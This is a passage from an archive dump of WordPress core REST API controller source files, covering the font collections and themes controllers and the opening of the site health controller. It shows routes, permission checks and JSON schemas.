		return $excerpt;
	}
}
endpoints/class-wp-rest-font-collections-controller.php000064400000024634151024200430017425 0ustar00<?php
/**
 * Rest Font Collections Controller.
 *
 * This file contains the class for the REST API Font Collections Controller.
 *
 * @package    WordPress
 * @subpackage REST_API
 * @since      6.5.0
 */

/**
 * Font Library Controller class.
 *
 * @since 6.5.0
 */
class WP_REST_Font_Collections_Controller extends WP_REST_Controller {

	/**
	 * Constructor.
	 *
	 * @since 6.5.0
	 */
	public function __construct() {
		$this->rest_base = 'font-collections';
		$this->namespace = 'wp/v2';
	}

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 6.5.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),

				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<slug>[\/\w-]+)',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Gets the font collections available.
	 *
	 * @since 6.5.0
	 *
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$collections_all = WP_Font_Library::get_instance()->get_font_collections();

		$page        = $request['page'];
		$per_page    = $request['per_page'];
		$total_items = count( $collections_all );
		$max_pages   = (int) ceil( $total_items / $per_page );

		if ( $page > $max_pages && $total_items > 0 ) {
			return new WP_Error(
				'rest_post_invalid_page_number',
				__( 'The page number requested is larger than the number of pages available.' ),
				array( 'status' => 400 )
			);
		}

		$collections_page = array_slice( $collections_all, ( $page - 1 ) * $per_page, $per_page );

		$is_head_request = $request->is_method( 'HEAD' );

		$items = array();
		foreach ( $collections_page as $collection ) {
			$item = $this->prepare_item_for_response( $collection, $request );

			// If there's an error loading a collection, skip it and continue loading valid collections.
			if ( is_wp_error( $item ) ) {
				continue;
			}

			/*
			 * Skip preparing the response body for HEAD requests.
			 * Cannot exit earlier due to backward compatibility reasons,
			 * as validation occurs in the prepare_item_for_response method.
			 */
			if ( $is_head_request ) {
				continue;
			}

			$item    = $this->prepare_response_for_collection( $item );
			$items[] = $item;
		}

		$response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $items );

		$response->header( 'X-WP-Total', (int) $total_items );
		$response->header( 'X-WP-TotalPages', $max_pages );

		$request_params = $request->get_query_params();
		$collection_url = rest_url( $this->namespace . '/' . $this->rest_base );
		$base           = add_query_arg( urlencode_deep( $request_params ), $collection_url );

		if ( $page > 1 ) {
			$prev_page = $page - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $max_pages > $page ) {
			$next_page = $page + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Gets a font collection.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$slug       = $request->get_param( 'slug' );
		$collection = WP_Font_Library::get_instance()->get_font_collection( $slug );

		if ( ! $collection ) {
			return new WP_Error( 'rest_font_collection_not_found', __( 'Font collection not found.' ), array( 'status' => 404 ) );
		}

		return $this->prepare_item_for_response( $collection, $request );
	}

	/**
	* Prepare a single collection output for response.
	*
	* @since 6.5.0
	*
	* @param WP_Font_Collection $item    Font collection object.
	* @param WP_REST_Request    $request Request object.
	* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	*/
	public function prepare_item_for_response( $item, $request ) {
		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'slug', $fields ) ) {
			$data['slug'] = $item->slug;
		}

		// If any data fields are requested, get the collection data.
		$data_fields = array( 'name', 'description', 'font_families', 'categories' );
		if ( ! empty( array_intersect( $fields, $data_fields ) ) ) {
			$collection_data = $item->get_data();
			if ( is_wp_error( $collection_data ) ) {
				$collection_data->add_data( array( 'status' => 500 ) );
				return $collection_data;
			}

			/**
			 * Don't prepare the response body for HEAD requests.
			 * Can't exit at the beginning of the method due to the potential need to return a WP_Error object.
			 */
			if ( $request->is_method( 'HEAD' ) ) {
				/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php */
				return apply_filters( 'rest_prepare_font_collection', new WP_REST_Response( array() ), $item, $request );
			}

			foreach ( $data_fields as $field ) {
				if ( rest_is_field_included( $field, $fields ) ) {
					$data[ $field ] = $collection_data[ $field ];
				}
			}
		}

		/**
		 * Don't prepare the response body for HEAD requests.
		 * Can't exit at the beginning of the method due to the potential need to return a WP_Error object.
		 */
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php */
			return apply_filters( 'rest_prepare_font_collection', new WP_REST_Response( array() ), $item, $request );
		}

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) ) {
			$links = $this->prepare_links( $item );
			$response->add_links( $links );
		}

		$context        = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$response->data = $this->add_additional_fields_to_object( $response->data, $request );
		$response->data = $this->filter_response_by_context( $response->data, $context );

		/**
		 * Filters the font collection data for a REST API response.
		 *
		 * @since 6.5.0
		 *
		 * @param WP_REST_Response   $response The response object.
		 * @param WP_Font_Collection $item     The font collection object.
		 * @param WP_REST_Request    $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_font_collection', $response, $item, $request );
	}

	/**
	 * Retrieves the font collection's schema, conforming to JSON Schema.
	 *
	 * @since 6.5.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'font-collection',
			'type'       => 'object',
			'properties' => array(
				'slug'          => array(
					'description' => __( 'Unique identifier for the font collection.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'name'          => array(
					'description' => __( 'The name for the font collection.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'description'   => array(
					'description' => __( 'The description for the font collection.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'font_families' => array(
					'description' => __( 'The font families for the font collection.' ),
					'type'        => 'array',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'categories'    => array(
					'description' => __( 'The categories for the font collection.' ),
					'type'        => 'array',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Font_Collection $collection Font collection data
	 * @return array Links for the given font collection.
	 */
	protected function prepare_links( $collection ) {
		return array(
			'self'       => array(
				'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $collection->slug ) ),
			),
			'collection' => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
		);
	}

	/**
	 * Retrieves the search params for the font collections.
	 *
	 * @since 6.5.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['context'] = $this->get_context_param( array( 'default' => 'view' ) );

		unset( $query_params['search'] );

		/**
		 * Filters REST API collection parameters for the font collections controller.
		 *
		 * @since 6.5.0
		 *
		 * @param array $query_params JSON Schema-formatted collection parameters.
		 */
		return apply_filters( 'rest_font_collections_collection_params', $query_params );
	}

	/**
	 * Checks whether the user has permissions to use the Fonts Collections.
	 *
	 * @since 6.5.0
	 *
	 * @return true|WP_Error True if the request has write access for the item, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) { // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable
		if ( current_user_can( 'edit_theme_options' ) ) {
			return true;
		}

		return new WP_Error(
			'rest_cannot_read',
			__( 'Sorry, you are not allowed to access font collections.' ),
			array(
				'status' => rest_authorization_required_code(),
			)
		);
	}
}
endpoints/class-wp-rest-themes-controller.php000064400000054722151024200430015431 0ustar00<?php
/**
 * REST API: WP_REST_Themes_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.0.0
 */

/**
 * Core class used to manage themes via the REST API.
 *
 * @since 5.0.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Themes_Controller extends WP_REST_Controller {

	/**
	 * Matches theme's directory: `/themes/<subdirectory>/<theme>/` or `/themes/<theme>/`.
	 * Excludes invalid directory name characters: `/:<>*?"|`.
	 */
	const PATTERN = '[^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?';

	/**
	 * Constructor.
	 *
	 * @since 5.0.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'themes';
	}

	/**
	 * Registers the routes for themes.
	 *
	 * @since 5.0.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf( '/%s/(?P<stylesheet>%s)', $this->rest_base, self::PATTERN ),
			array(
				'args'   => array(
					'stylesheet' => array(
						'description'       => __( "The theme's stylesheet. This uniquely identifies the theme." ),
						'type'              => 'string',
						'sanitize_callback' => array( $this, '_sanitize_stylesheet_callback' ),
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Sanitize the stylesheet to decode endpoint.
	 *
	 * @since 5.9.0
	 *
	 * @param string $stylesheet The stylesheet name.
	 * @return string Sanitized stylesheet.
	 */
	public function _sanitize_stylesheet_callback( $stylesheet ) {
		return urldecode( $stylesheet );
	}

	/**
	 * Checks if a given request has access to read the theme.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object.
	 */
	public function get_items_permissions_check( $request ) {
		if ( current_user_can( 'switch_themes' ) || current_user_can( 'manage_network_themes' ) ) {
			return true;
		}

		$registered = $this->get_collection_params();
		if ( isset( $registered['status'], $request['status'] ) && is_array( $request['status'] ) && array( 'active' ) === $request['status'] ) {
			return $this->check_read_active_theme_permission();
		}

		return new WP_Error(
			'rest_cannot_view_themes',
			__( 'Sorry, you are not allowed to view themes.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Checks if a given request has access to read the theme.
	 *
	 * @since 5.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object.
	 */
	public function get_item_permissions_check( $request ) {
		if ( current_user_can( 'switch_themes' ) || current_user_can( 'manage_network_themes' ) ) {
			return true;
		}

		$wp_theme      = wp_get_theme( $request['stylesheet'] );
		$current_theme = wp_get_theme();

		if ( $this->is_same_theme( $wp_theme, $current_theme ) ) {
			return $this->check_read_active_theme_permission();
		}

		return new WP_Error(
			'rest_cannot_view_themes',
			__( 'Sorry, you are not allowed to view themes.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Checks if a theme can be read.
	 *
	 * @since 5.7.0
	 *
	 * @return true|WP_Error True if the theme can be read, WP_Error object otherwise.
	 */
	protected function check_read_active_theme_permission() {
		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}

		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_cannot_view_active_theme',
			__( 'Sorry, you are not allowed to view the active theme.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Retrieves a single theme.
	 *
	 * @since 5.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$wp_theme = wp_get_theme( $request['stylesheet'] );
		if ( ! $wp_theme->exists() ) {
			return new WP_Error(
				'rest_theme_not_found',
				__( 'Theme not found.' ),
				array( 'status' => 404 )
			);
		}
		$data = $this->prepare_item_for_response( $wp_theme, $request );

		return rest_ensure_response( $data );
	}

	/**
	 * Retrieves a collection of themes.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$themes = array();

		$active_themes = wp_get_themes();
		$current_theme = wp_get_theme();
		$status        = $request['status'];

		foreach ( $active_themes as $theme ) {
			$theme_status = ( $this->is_same_theme( $theme, $current_theme ) ) ? 'active' : 'inactive';
			if ( is_array( $status ) && ! in_array( $theme_status, $status, true ) ) {
				continue;
			}

			$prepared = $this->prepare_item_for_response( $theme, $request );
			$themes[] = $this->prepare_response_for_collection( $prepared );
		}

		$response = rest_ensure_response( $themes );

		$response->header( 'X-WP-Total', count( $themes ) );
		$response->header( 'X-WP-TotalPages', 1 );

		return $response;
	}

	/**
	 * Prepares a single theme output for response.
	 *
	 * @since 5.0.0
	 * @since 5.9.0 Renamed `$theme` to `$item` to match parent class for PHP 8 named parameter support.
	 * @since 6.6.0 Added `stylesheet_uri` and `template_uri` fields.
	 *
	 * @param WP_Theme        $item    Theme object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$theme = $item;

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'stylesheet', $fields ) ) {
			$data['stylesheet'] = $theme->get_stylesheet();
		}

		if ( rest_is_field_included( 'template', $fields ) ) {
			/**
			 * Use the get_template() method, not the 'Template' header, for finding the template.
			 * The 'Template' header is only good for what was written in the style.css, while
			 * get_template() takes into account where WordPress actually located the theme and
			 * whether it is actually valid.
			 */
			$data['template'] = $theme->get_template();
		}

		$plain_field_mappings = array(
			'requires_php' => 'RequiresPHP',
			'requires_wp'  => 'RequiresWP',
			'textdomain'   => 'TextDomain',
			'version'      => 'Version',
		);

		foreach ( $plain_field_mappings as $field => $header ) {
			if ( rest_is_field_included( $field, $fields ) ) {
				$data[ $field ] = $theme->get( $header );
			}
		}

		if ( rest_is_field_included( 'screenshot', $fields ) ) {
			// Using $theme->get_screenshot() with no args to get absolute URL.
			$data['screenshot'] = $theme->get_screenshot() ? $theme->get_screenshot() : '';
		}

		$rich_field_mappings = array(
			'author'      => 'Author',
			'author_uri'  => 'AuthorURI',
			'description' => 'Description',
			'name'        => 'Name',
			'tags'        => 'Tags',
			'theme_uri'   => 'ThemeURI',
		);

		foreach ( $rich_field_mappings as $field => $header ) {
			if ( rest_is_field_included( "{$field}.raw", $fields ) ) {
				$data[ $field ]['raw'] = $theme->display( $header, false, true );
			}

			if ( rest_is_field_included( "{$field}.rendered", $fields ) ) {
				$data[ $field ]['rendered'] = $theme->display( $header );
			}
		}

		$current_theme = wp_get_theme();
		if ( rest_is_field_included( 'status', $fields ) ) {
			$data['status'] = ( $this->is_same_theme( $theme, $current_theme ) ) ? 'active' : 'inactive';
		}

		if ( rest_is_field_included( 'theme_supports', $fields ) && $this->is_same_theme( $theme, $current_theme ) ) {
			foreach ( get_registered_theme_features() as $feature => $config ) {
				if ( ! is_array( $config['show_in_rest'] ) ) {
					continue;
				}

				$name = $config['show_in_rest']['name'];

				if ( ! rest_is_field_included( "theme_supports.{$name}", $fields ) ) {
					continue;
				}

				if ( ! current_theme_supports( $feature ) ) {
					$data['theme_supports'][ $name ] = $config['show_in_rest']['schema']['default'];
					continue;
				}

				$support = get_theme_support( $feature );

				if ( isset( $config['show_in_rest']['prepare_callback'] ) ) {
					$prepare = $config['show_in_rest']['prepare_callback'];
				} else {
					$prepare = array( $this, 'prepare_theme_support' );
				}

				$prepared = $prepare( $support, $config, $feature, $request );

				if ( is_wp_error( $prepared ) ) {
					continue;
				}

				$data['theme_supports'][ $name ] = $prepared;
			}
		}

		if ( rest_is_field_included( 'is_block_theme', $fields ) ) {
			$data['is_block_theme'] = $theme->is_block_theme();
		}

		if ( rest_is_field_included( 'stylesheet_uri', $fields ) ) {
			if ( $this->is_same_theme( $theme, $current_theme ) ) {
				$data['stylesheet_uri'] = get_stylesheet_directory_uri();
			} else {
				$data['stylesheet_uri'] = $theme->get_stylesheet_directory_uri();
			}
		}

		if ( rest_is_field_included( 'template_uri', $fields ) ) {
			if ( $this->is_same_theme( $theme, $current_theme ) ) {
				$data['template_uri'] = get_template_directory_uri();
			} else {
				$data['template_uri'] = $theme->get_template_directory_uri();
			}
		}

		if ( rest_is_field_included( 'default_template_types', $fields ) && $this->is_same_theme( $theme, $current_theme ) ) {
			$default_template_types = array();
			foreach ( get_default_block_template_types() as $slug => $template_type ) {
				$template_type['slug']    = (string) $slug;
				$default_template_types[] = $template_type;
			}
			$data['default_template_types'] = $default_template_types;
		}

		if ( rest_is_field_included( 'default_template_part_areas', $fields ) && $this->is_same_theme( $theme, $current_theme ) ) {
			$data['default_template_part_areas'] = get_allowed_block_template_part_areas();
		}

		$data = $this->add_additional_fields_to_object( $data, $request );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $theme ) );
		}

		/**
		 * Filters theme data returned from the REST API.
		 *
		 * @since 5.0.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Theme         $theme    Theme object used to create response.
		 * @param WP_REST_Request  $request  Request object.
		 */
		return apply_filters( 'rest_prepare_theme', $response, $theme, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 5.7.0
	 *
	 * @param WP_Theme $theme Theme data.
	 * @return array Links for the given block type.
	 */
	protected function prepare_links( $theme ) {
		$links = array(
			'self'       => array(
				'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $theme->get_stylesheet() ) ),
			),
			'collection' => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
		);

		if ( $this->is_same_theme( $theme, wp_get_theme() ) ) {
			// This creates a record for the active theme if not existent.
			$id = WP_Theme_JSON_Resolver::get_user_global_styles_post_id();
		} else {
			$user_cpt = WP_Theme_JSON_Resolver::get_user_data_from_wp_global_styles( $theme );
			$id       = isset( $user_cpt['ID'] ) ? $user_cpt['ID'] : null;
		}

		if ( $id ) {
			$links['https://api.w.org/user-global-styles'] = array(
				'href' => rest_url( 'wp/v2/global-styles/' . $id ),
			);
		}

		return $links;
	}

	/**
	 * Helper function to compare two themes.
	 *
	 * @since 5.7.0
	 *
	 * @param WP_Theme $theme_a First theme to compare.
	 * @param WP_Theme $theme_b Second theme to compare.
	 * @return bool
	 */
	protected function is_same_theme( $theme_a, $theme_b ) {
		return $theme_a->get_stylesheet() === $theme_b->get_stylesheet();
	}

	/**
	 * Prepares the theme support value for inclusion in the REST API response.
	 *
	 * @since 5.5.0
	 *
	 * @param mixed           $support The raw value from get_theme_support().
	 * @param array           $args    The feature's registration args.
	 * @param string          $feature The feature name.
	 * @param WP_REST_Request $request The request object.
	 * @return mixed The prepared support value.
	 */
	protected function prepare_theme_support( $support, $args, $feature, $request ) {
		$schema = $args['show_in_rest']['schema'];

		if ( 'boolean' === $schema['type'] ) {
			return true;
		}

		if ( is_array( $support ) && ! $args['variadic'] ) {
			$support = $support[0];
		}

		return rest_sanitize_value_from_schema( $support, $schema );
	}

	/**
	 * Retrieves the theme's schema, conforming to JSON Schema.
	 *
	 * @since 5.0.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'theme',
			'type'       => 'object',
			'properties' => array(
				'stylesheet'                  => array(
					'description' => __( 'The theme\'s stylesheet. This uniquely identifies the theme.' ),
					'type'        => 'string',
					'readonly'    => true,
				),
				'stylesheet_uri'              => array(
					'description' => __( 'The uri for the theme\'s stylesheet directory.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'readonly'    => true,
				),
				'template'                    => array(
					'description' => __( 'The theme\'s template. If this is a child theme, this refers to the parent theme, otherwise this is the same as the theme\'s stylesheet.' ),
					'type'        => 'string',
					'readonly'    => true,
				),
				'template_uri'                => array(
					'description' => __( 'The uri for the theme\'s template directory. If this is a child theme, this refers to the parent theme, otherwise this is the same as the theme\'s stylesheet directory.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'readonly'    => true,
				),
				'author'                      => array(
					'description' => __( 'The theme author.' ),
					'type'        => 'object',
					'readonly'    => true,
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'The theme author\'s name, as found in the theme header.' ),
							'type'        => 'string',
						),
						'rendered' => array(
							'description' => __( 'HTML for the theme author, transformed for display.' ),
							'type'        => 'string',
						),
					),
				),
				'author_uri'                  => array(
					'description' => __( 'The website of the theme author.' ),
					'type'        => 'object',
					'readonly'    => true,
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'The website of the theme author, as found in the theme header.' ),
							'type'        => 'string',
							'format'      => 'uri',
						),
						'rendered' => array(
							'description' => __( 'The website of the theme author, transformed for display.' ),
							'type'        => 'string',
							'format'      => 'uri',
						),
					),
				),
				'description'                 => array(
					'description' => __( 'A description of the theme.' ),
					'type'        => 'object',
					'readonly'    => true,
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'The theme description, as found in the theme header.' ),
							'type'        => 'string',
						),
						'rendered' => array(
							'description' => __( 'The theme description, transformed for display.' ),
							'type'        => 'string',
						),
					),
				),
				'is_block_theme'              => array(
					'description' => __( 'Whether the theme is a block-based theme.' ),
					'type'        => 'boolean',
					'readonly'    => true,
				),
				'name'                        => array(
					'description' => __( 'The name of the theme.' ),
					'type'        => 'object',
					'readonly'    => true,
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'The theme name, as found in the theme header.' ),
							'type'        => 'string',
						),
						'rendered' => array(
							'description' => __( 'The theme name, transformed for display.' ),
							'type'        => 'string',
						),
					),
				),
				'requires_php'                => array(
					'description' => __( 'The minimum PHP version required for the theme to work.' ),
					'type'        => 'string',
					'readonly'    => true,
				),
				'requires_wp'                 => array(
					'description' => __( 'The minimum WordPress version required for the theme to work.' ),
					'type'        => 'string',
					'readonly'    => true,
				),
				'screenshot'                  => array(
					'description' => __( 'The theme\'s screenshot URL.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'readonly'    => true,
				),
				'tags'                        => array(
					'description' => __( 'Tags indicating styles and features of the theme.' ),
					'type'        => 'object',
					'readonly'    => true,
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'The theme tags, as found in the theme header.' ),
							'type'        => 'array',
							'items'       => array(
								'type' => 'string',
							),
						),
						'rendered' => array(
							'description' => __( 'The theme tags, transformed for display.' ),
							'type'        => 'string',
						),
					),
				),
				'textdomain'                  => array(
					'description' => __( 'The theme\'s text domain.' ),
					'type'        => 'string',
					'readonly'    => true,
				),
				'theme_supports'              => array(
					'description' => __( 'Features supported by this theme.' ),
					'type'        => 'object',
					'readonly'    => true,
					'properties'  => array(),
				),
				'theme_uri'                   => array(
					'description' => __( 'The URI of the theme\'s webpage.' ),
					'type'        => 'object',
					'readonly'    => true,
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'The URI of the theme\'s webpage, as found in the theme header.' ),
							'type'        => 'string',
							'format'      => 'uri',
						),
						'rendered' => array(
							'description' => __( 'The URI of the theme\'s webpage, transformed for display.' ),
							'type'        => 'string',
							'format'      => 'uri',
						),
					),
				),
				'version'                     => array(
					'description' => __( 'The theme\'s current version.' ),
					'type'        => 'string',
					'readonly'    => true,
				),
				'status'                      => array(
					'description' => __( 'A named status for the theme.' ),
					'type'        => 'string',
					'enum'        => array( 'inactive', 'active' ),
				),
				'default_template_types'      => array(
					'description' => __( 'A list of default template types.' ),
					'type'        => 'array',
					'readonly'    => true,
					'items'       => array(
						'type'       => 'object',
						'properties' => array(
							'slug'        => array(
								'type' => 'string',
							),
							'title'       => array(
								'type' => 'string',
							),
							'description' => array(
								'type' => 'string',
							),
						),
					),
				),
				'default_template_part_areas' => array(
					'description' => __( 'A list of allowed area values for template parts.' ),
					'type'        => 'array',
					'readonly'    => true,
					'items'       => array(
						'type'       => 'object',
						'properties' => array(
							'area'        => array(
								'type' => 'string',
							),
							'label'       => array(
								'type' => 'string',
							),
							'description' => array(
								'type' => 'string',
							),
							'icon'        => array(
								'type' => 'string',
							),
							'area_tag'    => array(
								'type' => 'string',
							),
						),
					),
				),
			),
		);

		foreach ( get_registered_theme_features() as $feature => $config ) {
			if ( ! is_array( $config['show_in_rest'] ) ) {
				continue;
			}

			$name = $config['show_in_rest']['name'];

			$schema['properties']['theme_supports']['properties'][ $name ] = $config['show_in_rest']['schema'];
		}

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the search params for the themes collection.
	 *
	 * @since 5.0.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = array(
			'status' => array(
				'description' => __( 'Limit result set to themes assigned one or more statuses.' ),
				'type'        => 'array',
				'items'       => array(
					'enum' => array( 'active', 'inactive' ),
					'type' => 'string',
				),
			),
		);

		/**
		 * Filters REST API collection parameters for the themes controller.
		 *
		 * @since 5.0.0
		 *
		 * @param array $query_params JSON Schema-formatted collection parameters.
		 */
		return apply_filters( 'rest_themes_collection_params', $query_params );
	}

	/**
	 * Sanitizes and validates the list of theme status.
	 *
	 * @since 5.0.0
	 * @deprecated 5.7.0
	 *
	 * @param string|array    $statuses  One or more theme statuses.
	 * @param WP_REST_Request $request   Full details about the request.
	 * @param string          $parameter Additional parameter to pass to validation.
	 * @return array|WP_Error A list of valid statuses, otherwise WP_Error object.
	 */
	public function sanitize_theme_status( $statuses, $request, $parameter ) {
		_deprecated_function( __METHOD__, '5.7.0' );

		$statuses = wp_parse_slug_list( $statuses );

		foreach ( $statuses as $status ) {
			$result = rest_validate_request_arg( $status, $request, $parameter );

			if ( is_wp_error( $result ) ) {
				return $result;
			}
		}

		return $statuses;
	}
}
endpoints/class-wp-rest-site-health-controller.php000064400000023154151024200430016346 0ustar00<?php
/**
 * REST API: WP_REST_Site_Health_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.6.0
 */

/**
 * Core class for interacting with Site Health tests.
 *
 * @since 5.6.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Site_Health_Controller extends WP_REST_Controller {

	/**
	 * An instance of the site health class.
	 *
	 * @since 5.6.0
	 *
	 * @var WP_Site_Health
	 */
	private $site_health;

	/**
	 * Site Health controller constructor.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_Site_Health $site_health An instance of the site health class.
	 */
	public function __construct( $site_health ) {
		$this->namespace = 'wp-site-health/v1';
		$this->rest_base = 'tests';

		$this->site_health = $site_health;
	}

	/**
	 * Registers API routes.
	 *
	 * @since 5.6.0
	 * @since 6.1.0 Adds page-cache async test.
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/%s',
				$this->rest_base,
				'background-updates'
			),
			array(
				array(
					'methods'             => 'GET',
					'callback'            => array( $this, 'test_background_updates' ),
					'permission_callback' => function () {
						return $this->validate_request_permission( 'background_updates' );
					},
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/%s',
				$this->rest_base,
				'loopback-requests'
			),
			array(
				array(
					'methods'             => 'GET',
					'callback'            => array( $this, 'test_loopback_requests' ),
					'permission_callback' => function () {
						return $this->validate_request_permission( 'loopback_requests' );
					},
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/%s',
				$this->rest_base,
				'https-status'
			),
			array(
				array(
					'methods'             => 'GET',
					'callback'            => array( $this, 'test_https_status' ),
					'permission_callback' => function () {
						return $this->validate_request_permission( 'https_status' );
					},
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/%s',
				$this->rest_base,
				'dotorg-communication'
			),
			array(
				array(
					'methods'             => 'GET',
					'callback'            => array( $this, 'test_dotorg_communication' ),
					'permission_callback' => function () {
						return $this->validate_request_permission( 'dotorg_communication' );
					},
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/%s',
				$this->rest_base,
				'authorization-header'
			),
			array(
				array(
